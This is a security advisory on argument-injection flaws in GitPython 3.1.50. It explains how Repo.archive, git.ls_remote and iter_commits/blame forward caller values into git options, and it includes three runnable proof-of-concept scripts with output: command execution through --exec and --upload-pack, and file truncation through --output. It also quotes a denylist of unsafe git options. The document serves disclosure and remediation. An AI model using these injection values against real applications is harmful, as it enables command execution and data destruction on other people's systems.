GHSA-956x-8gvw-wg5v: 
Python vulnerability analysis and mitigation

Summary

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options(). That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --exec → arbitrary command execution under default Git configuration (no protocol.ext.allow needed).
2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.
3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources). The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive — command execution (git/repo/base.py:1623)

def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack → --upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options. This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)

# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]

# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install

python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50

PoC 1 — command execution via Repo.archive

# archive_rce.py
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])
print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2 — command execution via git.ls_remote(upload_pack=...)

# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True

PoC 3 — arbitrary file overwrite via a benign-looking rev

# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated